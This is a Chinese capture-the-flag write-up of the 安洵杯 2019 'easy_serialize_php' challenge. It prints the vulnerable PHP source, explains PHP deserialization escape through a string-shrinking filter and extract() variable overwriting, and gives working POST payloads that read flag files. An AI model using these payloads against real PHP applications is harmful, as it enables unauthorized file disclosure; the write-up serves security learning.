【安洵杯 2019】easy_serialize_php
收获
- php反序列化逃逸
- 数组变量覆盖
- POST请求体传递数组
分析
-
代码:
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
分析代码,首先
filter
函数实现了一个替换字符串中敏感字符为空的操作。然后对$__SESSION进行了设置,但是下面出现了一个
extract($_POST);
。在Php中extract
函数实现一个提取数组中键值并覆盖原数组的功能。也就是说,虽然上面设置了user键的内容,但是如果POST变量中不存在user键,那么更新后的$__SESSION中则不包含user键。下面又进行了img键值的设置,并将序列化后的字符串传入filter中进行过滤。
-
思路
首先肯定是需要查看phpinfo()中的文件;然后应该是通过更改$__SESSION数组实现反序列化读文件。
利用
-
访问Phpinfo:
得到了一个提示,包含了d0g3_f1ag.php文件。说明我们需要访问这个php文件。
-
读文件:
当我们GET请求中设置img_path变量时,势必会触发
sha1
函数,这样我们无法读取正常的路径;但是不设置img_path更无法得到文件内容。于是思考这个反序列化。因为反序列化后的字符串会经过filter函数处理,那能不能通过故意引入敏感字符串,使得序列化后的字符串改变,从而在反序列时得到我们想要的输出呢? -
反序列化逃逸:
在看了大佬博客发现:反序列化逃逸题一般都是存在一个filter函数,这个函数看似过滤了敏感字符串,其实使得代码的安全性有所降低;并且分为filter后字符串加长以及字符串变短两种情况。在本题中因为将敏感字符串替换为空,所以是字符串变短的情况。
例如,这段代码:
<?php function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } $ab=array('user'=>'flagflagflag','1'=>'1'); echo filter(serialize($ab)); ?>
本来反序列化的结果为:
a:2:{s:4:"user";s:12:"flagflagflag";i:1;s:1:"1";}
但是因为敏感字符串替换变成了:
a:2:{s:4:"user";s:12:"";i:1;s:1:"1";}
这样在反序列化时,就导致了原先的键值
flagflagflag
被现在的12个字符";i:1;s:1:"1
替换了。导致误以为键user
的值为";i:1;s:1:"1
。但是同时这里确定了有两个类,所以要想反序列化成功,则需要让原来键1对应值再包含一个类,这样就能够填补前面被覆盖的1键值的空缺;
i:1;s:1:"1"
应该是i:1;s:13:"1";i:2;s:1:"2"
,即过滤后字符串为:a:2:{s:4:"user";s:13:"";i:1;s:13:"1";i:2;s:1:"2";}
-
payload
首先
f
的值需要为show_image
;其次我们需要覆盖img
键对应的值为d0g3_f1ag.php
的编码值:ZDBnM19mMWFnLnBocA==
。也就是说我们构造的字符串中要包括:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="
,并且让该字符串前面的序列化内容正好被敏感字符过滤的坑位吃掉。同时,为了覆盖最后系统赋值的img
,我们在字符串后面还要加一个类。_SESSION[test]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:1;s:1:"2";}
其过滤后的序列化结果为:
原本的红线部分作为了现在
func
键的值。 -
抓包:
注意_SESSION数组修改方式不包含$符号与引号。
-
继续:
说明要继续读取:
/d0g3_fllllllag
=>L2QwZzNfZmxsbGxsbGFn
payload:
_SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:1;s:1:"2";}